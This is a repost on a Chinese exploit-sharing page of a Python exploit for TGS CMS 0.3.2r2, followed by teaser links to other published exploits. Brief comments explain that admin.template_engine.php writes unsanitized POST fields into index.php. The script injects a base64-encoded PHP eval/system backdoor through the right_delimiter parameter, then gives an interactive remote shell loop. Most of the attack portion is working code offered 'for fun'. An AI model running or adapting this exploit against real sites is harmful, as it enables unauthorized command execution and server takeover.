TGS CMS 0.3.2r2 Remote Code Execution Exploit

所属分类: 网络安全 / Exploit 阅读数: 89
收藏 0 赞 0 分享
# TGS CMS Remote Code Execution Exploit
# by 0in
# from Dark-Coders Group!
# www.dark-coders.pl
# Contact: 0in(dot)email[at]gmail(dot)com
# Greetings to:die_angel,suN8Hclf,m4r1usz,cOndemned,str0ke
# Dork:NULL - because "You cannot kill what you did not create" <- Duality by Slipknot
# Let's analyze the vuln:
# We've got the: /cms/admin/admin.template_engine.php
# first line:"<?"
# next 2-22 lines - comments
# 23: if ($_GET['option'] == "set_template") {
# 24: $filename = "../index.php";
# 25: if ((@is_writeable($filename)) && ($handle = @fopen($filename, "w"))) {
# From 50 line to 88 we have definition of file content
# 50: $content = '<?php // here programmer define the file to save in "../index.php"
# but...
# he.. don't think xD
# 77:$tgs_template->template_dir = "'.$_POST['template_dir'].'";
# 78:$tgs_template->config_dir = "'.$_POST['config_dir'].'";
# 79:$tgs_template->cms_dir = "'.$_POST['cms_dir'].'";
# 80:$tgs_template->left_delimiter = "'.$_POST['left_delimiter'].'";
# 81:$tgs_template->right_delimiter = "'.$_POST['right_delimiter'].'";
# And.. boom!
# 89: if (@fwrite($handle,$content)) {
# Just simply exploit for fun:
import httplib
import urllib
print "TGS CMS Remote Code Execution Exploit"
print "by 0in From Dark-Coders Group"
print "www.dark-coders.pl"
print 'Enter target:'
target=raw_input()
print 'Enter path:'
path=raw_input()
inject="\";error_reporting(0);eval(base64_decode(\"JGNtZD0kX0dFVFsnenVvJ107c3lzdGVtKCRjbWQpO2V4aXQ7\"));//"
exploit=httplib.HTTPConnection(target ':80')
headers={'Content-type':'application/x-www-form-urlencoded',"Accept":"text/plain"}
data=urllib.urlencode({'right_delimiter':inject})
exploit.request("POST",path "/cms/admin/admin.template_engine.php?option=set_template",data,headers)
print exploit.getresponse().read()
while(1):
cmd=raw_input("[shell@" target "]#")
if(cmd=='exit'):
quit()
shell=httplib.HTTPConnection(target ':80')
shell.request("GET",path "/cms/index.php?zuo=" cmd)
print shell.getresponse().read()

更多精彩内容其他人还在看

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享

Acoustica Mixcraft

#!/usr/bin/perl # # Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit # Author: Koshi # # Date: 08-28-08 ( 0day ) # Ap
收藏 0 赞 0 分享

Simple PHP Blog (SPHPBlog)

<? /* sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 */ function curl($url,$postvar){ global $cook; $ch = cur
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio
收藏 0 赞 0 分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo
收藏 0 赞 0 分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;
收藏 0 赞 0 分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0 赞 0 分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be
收藏 0 赞 0 分享
查看更多